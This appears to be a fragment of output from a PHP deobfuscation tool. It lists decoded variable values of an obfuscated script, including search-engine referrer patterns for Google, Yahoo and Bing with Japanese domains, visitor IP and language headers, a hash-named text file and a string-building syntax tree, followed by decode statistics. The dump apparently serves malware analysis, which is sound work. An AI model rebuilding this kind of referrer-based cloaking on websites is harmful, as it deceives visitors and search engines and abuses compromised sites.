{'key': 'remote_addr', 'value': 0}, {'key': 'http_x_forwarded_for', 'value': 0}, {'key': 'http_accept_language', 'value': 0}]
$OoOooo google|yahoo|bing
$OooOOo None
$OooOoO google.co.jp|google.com|yahoo.co.jp|yahoo.com|bing.co.jp|bin..
$OooOoo None
$OooooO None
$oOOoOO ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['BinaryOp', {'op': '.', 'left': ['ArrayOffset', {'expr': 32, 'node': ['Variable', {'name': '$O'}]}], 'right': ['ArrayOffset', {'expr': 52, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 52, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 63, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 18, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 9, 'node': ['Variable', {'name': '$O'}]}]}], 'right': ['ArrayOffset', {'expr': 9, 'node': ['Variable', {'name': '$O'}]}]}]
$oOOoOo jp34
$oOOooO 567f9358ebf8dfb2157b05a14642565e.txt
$oOoOOO None

Stats

MD5 f8c6ed53fde96aa3f52f9105d864f9b9
Eval Count 0
Decode Time 1007 ms